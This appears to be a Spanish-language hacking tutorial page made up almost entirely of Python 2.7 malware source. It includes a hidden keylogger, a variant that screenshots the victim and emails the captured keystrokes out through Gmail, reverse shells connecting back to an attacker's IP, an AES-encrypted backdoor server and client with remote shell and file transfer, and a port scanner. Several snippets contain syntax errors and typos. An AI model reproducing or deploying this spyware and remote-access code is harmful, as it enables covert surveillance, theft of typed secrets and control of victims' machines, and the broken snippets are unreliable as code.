Video tutoriales

Simple keylogger python 2.7

CODIGO

import win32api

import win32console

import win32gui

win = win32console.GetConsoleWindow()

win32gui.ShowWindow(win,0)

import pythoncom, pyHook, sys, logging

LOG_FILENAME = 'C:\\ruta '

def OnKeyboardEvent(event):

    logging.basicConfig(filename=LOG_FILENAME,

                        level=logging.DEBUG,

                        format='%(message)s')

    print "Key: ", chr(event.Ascii)

    logging.log(10,chr(event.Ascii))

    return True

hm = pyHook.HookManager()

hm.KeyDown = OnKeyboardEvent

hm.HookKeyboard()

pythoncom.PumpMessages()

Requisito en el pc atacante tener netcat

nc -l -p 443 

#!/usr/bin/python
import subprocess,socket

host='192.168.1.6'
port=443

s= socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host, port))
s.send('saludos te envia aureliohacking')

while 1;
    data=s.recv(1024)
    if data == "fuera": break
   
    proc=subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, staderr=subprocess.PIPE, stdin=subprocess.PIPE)
   
    stadoutput = proc.stdout.read() + proc.staderr.read()
    s.send(stdoutput)
   
   # salir
   s.send('nos vemos')

s.close() 

https://joncraton.org/blog/46/netcat-for-windows/
https://www.python.org/download/releases/2.7.3/

Keylogger con Capture de Pantalla

import win32api
import win32console
import win32gui
import PIL.ImageGrab
import datetime

win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)

import pythoncom, pyHook, sys, logging
LOG_FILENAME = 'C:\\Users\ruta\Desktop\key\keylogger.txt'
def OnKeyboardEvent(event):
    logging.basicConfig(filename=LOG_FILENAME,
                        level=logging.DEBUG,
                        format='%(message)s')
    print "Key: ", chr(event.Ascii)
    logging.log(10,chr(event.Ascii))

    pantallaso()
    return True

def pantallaso():

  d=datetime.datetime.now().strftime('%Y_%m_%d_%H_%M_%S')
  print(d)
  img=PIL.ImageGrab.grab()
  img.save(str(str(d)+'.png'),'png')
 
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()

pythoncom.PumpMessages()

                Keylogger con Capture de Pantalla

envió al correo electrónico

import win32api

import win32console

import win32gui

import PIL.ImageGrab

import datetime

import smtplib

import mimetypes

import autopy

from email.MIMEMultipart import MIMEMultipart

from email.mime.multipart import MIMEMultipart

from email.MIMEImage import MIMEImage

from email.mime.text import MIMEText

from email.MIMEBase import MIMEBase

from email import encoders

import pythoncom, pyHook, sys, logging

#win = win32console.GetConsoleWindow()

#win32gui.ShowWindow(win,0)

l = 0

LOG_FILENAME = 'C:\\Users\ruta\Desktop\key.txt'

def OnKeyboardEvent(event):

     

    logging.basicConfig(filename=LOG_FILENAME,

                        level=logging.DEBUG,

                        format='%(message)s')

    print "Key: ", chr(event.Ascii)

    logging.log(10,chr(event.Ascii))

    

    print(l)

    Screenshot()

    correo()  

    return True

def Screenshot():

     global l

     l+=1

     b = autopy.bitmap.capture_screen()

     b.save('C:\\Users\ruta\Desktop\key2.png')

   # d=datetime.datetime.now().strftime('%Y_%m_%d_%H_%M_%S')

    #print(d) 

    #img=PIL.ImageGrab.grab()

    #h = img.save( str(str(d)+'.png'),'png')

  

  #return True

def correo():

   global l     

   if l==60:

  

           

     msg = MIMEMultipart()

     msg['From']="tu correo"

     msg['To']="donde lo vas a enviar"

     msg['Subject']="Correo con imagen Adjunta"

   

     file = open('C:\\Users\ruta\Desktop\key2.png', 'rb')

     attach_image = MIMEImage(file.read())

     attach_image.add_header('Content-Disposition', 'attachment; filename = "imagen.png"')

     msg.attach(attach_image)

   

     fb=open('C:\\Users\ruta\Desktop\key.txt', 'rb')

     adjunto= MIMEBase('multipart','encryted')

     adjunto.set_payload(fb.read())

     fb.close()

     encoders.encode_base64(adjunto)

     adjunto.add_header('Content-Disposition', 'attachment; filename = "key.txt"')

     msg.attach(adjunto)

     mailServer = smtplib.SMTP('smtp.gmail.com',587)

     mailServer.ehlo()

     mailServer.starttls()

     mailServer.ehlo()

     mailServer.login("tu correo","clave de tu correo")

     mailServer.sendmail("tu correo", "correo de destino", msg.as_string())

     mailServer.close()

     l=0

#OnKeyboardEvent()

  

hm = pyHook.HookManager()

hm.KeyDown = OnKeyboardEvent

hm.HookKeyboard()

pythoncom.PumpMessages()

BACKDOOR PYTHON

SERVER

#!/usr/bin/env python

from Crypto.Cipher import AES

import socket

import base64

import os

import time

import sys, select

# the block size for the cipher object; must be 16, 24, or 32 for AES

BLOCK_SIZE = 32

# the character used for padding--with a block cipher such as AES, the value

# you encrypt must be a multiple of BLOCK_SIZE in length.  This character is

# used to ensure that your value is always a multiple of BLOCK_SIZE

PADDING = '{'

# one-liner to sufficiently pad the text to be encrypted

pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING

# one-liners to encrypt/encode and decrypt/decode a string

# encrypt with AES, encode with base64

EncodeAES = lambda c, s: base64.b64encode(c.encrypt(s))

DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e))

# generate a random secret key

secret = "HUISA78sa9y&9syYSsJhsjkdjklfs9aR"

# create a cipher object using the random secret

cipher = AES.new(secret)

# encode a string

# encoded = EncodeAES(cipher, 'password')

# print 'Encrypted string:', encoded

# decode the encoded string

# decoded = DecodeAES(cipher, encoded)

# print 'Decrypted string:', decoded

# clear function

clear = lambda: os.system('cls')

c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

c.bind(('192.168.1.4', 443))

c.listen(128)

active = False

clients = []

socks = []

interval = 0.8

# welcome message

print '\nListening for clients...\n'

while True:

# listen for clients

try:

c.settimeout(4)

# accept connection

try:

s,a = c.accept()

except socket.timeout:

continue

# add socket

if (a):

# disable timeout

s.settimeout(None)

# add to socket array

socks += [s]

# add to client array

clients += [str(a)]

# display clients

clear()

print '\nListening for clients...\n'

if len(clients) > 0:

for j in range(0,len(clients)):

print '[' + str((j+1)) + '] Client: ' + clients[j] + '\n'

print "Press Ctrl+C to interact with client."

time.sleep(interval)

except KeyboardInterrupt:

clear()

print '\nListening for clients...\n'

if len(clients) > 0:

for j in range(0,len(clients)):

print '[' + str((j+1)) + '] Client: ' + clients[j] + '\n'

print "---\n"

print "[0] Exit \n"

activate = input("\nEnter client id: ")

if activate == 0:

print '\nExiting...\n'

sys.exit()

activate -= 1

clear()

print '\nActivating client: ' + clients[activate] + '\n'

active = True

encrypted = EncodeAES(cipher, 'Activate')

socks[activate].send(encrypted)

# interact with client

while active == True:

# receive encrypted data

data = socks[activate].recv(1024)

# decrypt data

decrypted = DecodeAES(cipher, data)

# check for end of command

if decrypted.endswith("EOFEOFEOFEOFEOFX") == True:

# print command

print decrypted[:-16]

if decrypted.startswith("Exit") == True:

active = False

print 'Press Ctrl+C to return to listener mode...\n'

else:

# get next command

nextcmd = raw_input("[shell]: ")

# encrypt that $#!^

encrypted = EncodeAES(cipher, nextcmd)

# send that $hit

socks[activate].send(encrypted)

# download file (normal mode)

if nextcmd.startswith("download") == True:

# file name

downFile = nextcmd[9:]

# open file

f = open(downFile, 'wb')

print 'Downloading: ' + downFile

# downloading

while True:

l = socks[activate].recv(1024)

while (l):

if l.endswith("EOFEOFEOFEOFEOFX"):

u = l[:-16]

f.write(u)

break

else:

f.write(l)

l = socks[activate].recv(1024)

break

f.close()

if nextcmd.startswith("upload") == True:

# file name

upFile = nextcmd[7:]

# open file

g = open(upFile, 'rb')

print 'Uploading: ' + upFile

# uploading

while 1:

fileData = g.read()

if not fileData: break

# begin sending file

socks[activate].sendall(fileData)

g.close()

time.sleep(0.8)

# let client know we're done..

socks[activate].sendall('EOFEOFEOFEOFEOFX')

time.sleep(0.8)

# else, just print

else:

print decrypted

CLIENTE

#!/usr/bin/python

from Crypto.Cipher import AES

import subprocess,socket

import base64

import time

import os

import sys

# the block size for the cipher object; must be 16, 24, or 32 for AES

BLOCK_SIZE = 32

# the character used for padding--with a block cipher such as AES, the value

# you encrypt must be a multiple of BLOCK_SIZE in length.  This character is

# used to ensure that your value is always a multiple of BLOCK_SIZE

PADDING = '{'

# one-liner to sufficiently pad the text to be encrypted

pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING

# one-liners to encrypt/encode and decrypt/decode a string

# encrypt with AES, encode with base64

EncodeAES = lambda c, s: base64.b64encode(c.encrypt(s))

DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e))

# generate a random secret key

secret = "HUISA78sa9y&9syYSsJhsjkdjklfs9aR"

# create a cipher object using the random secret

cipher = AES.new(secret)

# encode a string

# encoded = EncodeAES(cipher, 'password')

# print 'Encrypted string:', encoded

# decode the encoded string

# decoded = DecodeAES(cipher, encoded)

# print 'Decrypted string:', decoded

# server config

HOST = '192.168.1.4'

PORT = 443

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((HOST, PORT))

active = False

# main loop

while True:

data = s.recv(1024)

decrypted = DecodeAES(cipher, data)

# send we made it message

time.sleep(0.8)

success = EncodeAES(cipher, "Success! We made it!EOFEOFEOFEOFEOFX")

s.send(success)

active = True

# interactive loop

while active:

# this data is now encrypted

data = s.recv(1024)

# decrypt data

decrypted = DecodeAES(cipher, data)

# check for quit

if decrypted.startswith("quit") == True:

sendData = 'Exit. \n EOFEOFEOFEOFEOFX'

crptData = EncodeAES(cipher, sendData)

s.send(crptData)

active = False

#sys.exit()

# check for download

elif decrypted.startswith("download") == True:

# set file name

sendFile = decrypted[9:]

# file transfer

f = open(sendFile, 'rb')

while 1:

fileData = f.read()

if fileData == '': break

# begin sending file

s.sendall(fileData)

f.close()

time.sleep(0.8)

# let server know we're done..

s.sendall('EOFEOFEOFEOFEOFX')

time.sleep(0.8)

s.sendall(EncodeAES(cipher, 'Finished download.EOFEOFEOFEOFEOFX'))

elif decrypted.startswith("upload") == True:

# set the file name

downFile = decrypted[7:]

# file transfer

g = open(downFile, 'wb')

# download file

while True:

l = s.recv(1024)

while (l):

if l.endswith("EOFEOFEOFEOFEOFX"):

u = l[:-16]

g.write(u)

break

else:

g.write(l)

l = s.recv(1024)

break

g.close()

time.sleep(0.8)

# let server know we're done..

s.sendall(EncodeAES(cipher, 'Finished upload.EOFEOFEOFEOFEOFX'))

else:

# execute command

proc = subprocess.Popen(decrypted, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)

# save output/error

stdoutput = proc.stdout.read() + proc.stderr.read() + 'EOFEOFEOFEOFEOFX'

# encrypt output

encrypted = EncodeAES(cipher, stdoutput)

# send encrypted output

s.send(encrypted)

# loop ends here

MAS INFO https://gist.github.com/sekondus/4322469#file-gistfile1-py


SIMPLE BACDOR CON TRAFICO ENCRIPTADO

CLIENTE

#!/usr/bin/env python

from Crypto.Cipher import AES
import subprocess,socket
import base64
import os


# the block size for the cipher object; must be 16 per FIPS-197
BLOCK_SIZE = 16

# the character used for padding--with a block cipher such as AES, the value
# you encrypt must be a multiple of BLOCK_SIZE in length.  This character is
# used to ensure that your value is always a multiple of BLOCK_SIZE
PADDING = '{'

# one-liner to sufficiently pad the text to be encrypted
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING

# one-liners to encrypt/encode and decrypt/decode a string
# encrypt with AES, encode with base64
EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s)))
DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING)

# generate a random secret key
secret = "aurelio26djfTFD4579BVcsaqjkloPm"

# create a cipher object using the random secret
cipher = AES.new(secret)

# encode a string
# encoded = EncodeAES(cipher, 'password')
# print 'Encrypted string:', encoded

# decode the encoded string
# decoded = DecodeAES(cipher, encoded)
# print 'Decrypted string:', decoded

host='192.168.1.6'
port=443

s= socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host, port))
# s.send('\n saludos te envia aureliohacking....')

suceso= EncodeAES( cripher, 'codificando transferencia! ')
s.send(suceso)
while 1:


    data=s.recv(1024)


    decrypted=DecodeAES(cripher,data)

    if decrypted == "fuera": break

    proc = subprocess.Popen(decrypted , shell=True, stdout=subprocess.PIPE, staderr=subprocess.PIPE, stdin=subprocess.PIPE)
 

    stadoutput = proc.stdout.read() + proc.staderr.read()


    encrypt=EncodeAES( cipher, stadoutput)
    s.send(encrypted)
s.send('nos vemos')
s.close()


SERVIDOR

#!/usr/bin/env python

from Crypto.Cipher import AES
import socket
import base64
import os

# the block size for the cipher object; must be 16 per FIPS-197
BLOCK_SIZE = 16

# the character used for padding--with a block cipher such as AES, the value
# you encrypt must be a multiple of BLOCK_SIZE in length.  This character is
# used to ensure that your value is always a multiple of BLOCK_SIZE
PADDING = '{'

# one-liner to sufficiently pad the text to be encrypted
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING

# one-liners to encrypt/encode and decrypt/decode a string
# encrypt with AES, encode with base64
EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s)))
DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING)

# generate a random secret key
secret = "aurelio26djfTFD4579BVcsaqjkloPm"

# create a cipher object using the random secret
cipher = AES.new(secret)

# encode a string
# encoded = EncodeAES(cipher, 'password')
# print 'Encrypted string:', encoded

# decode the encoded string
# decoded = DecodeAES(cipher, encoded)
# print 'Decrypted string:', decoded

c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.bind((0.0.0.0 , 443))
c.listen
s,a= c.accept()

while True:
 
data= s.recv(1024)
 
decrypted=DecodeAES(cripher, data)
 
print decryptited
 
nextcmd = raw_input ("{aurelio shell}:")
encrypted=EncodeAES( cipher, nextcmd)
s.send(encrypted)


VIDEO

ESCANER TCP

import socket

from sys import exit

ip= raw_input ('\n Digite la ip: ')

puerto=raw_input('Digite los puertos a escanear 80, 443, 445, etc')

puerto= puerto.replace('','')

print('\n')

for puerto in puerto.split(','):

    try: 

        puerto=int(puerto)

    except:

           print('incorrecto')

           exit(1)

    a= socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    b= a.connect_ex((ip, puerto))

    if b==0:

        print('puerto{} abierto | '.format(str(puerto)))

    else:  

     

         print('puerto{} cerrado | ' .format(str(puerto)))

    a.close()

print('\n escaneo terminado')